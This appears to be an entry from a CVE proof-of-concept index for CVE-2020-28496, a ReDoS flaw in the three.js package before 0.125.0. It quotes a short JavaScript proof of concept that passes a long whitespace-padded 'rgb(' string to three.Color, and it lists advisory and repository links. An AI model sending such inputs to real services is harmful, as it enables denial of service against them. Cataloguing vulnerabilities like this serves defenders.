CVEs-PoC/2020/CVE-2020-28496.md

### [CVE-2020-28496](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28496)
![](https://img.shields.io/static/v1?label=Product&message=three&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=%3C%200.125.0%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Vulnerability&message=Regular%20Expression%20Denial%20of%20Service%20(ReDoS)&color=brighgreen)

### Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

### POC

#### Reference
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
- https://snyk.io/vuln/SNYK-JS-THREE-1064931

#### Github
- https://github.com/Leeft/three-sprite-texture-atlas-manager
- https://github.com/engn33r/awesome-redos-security
- https://github.com/yetingli/PoCs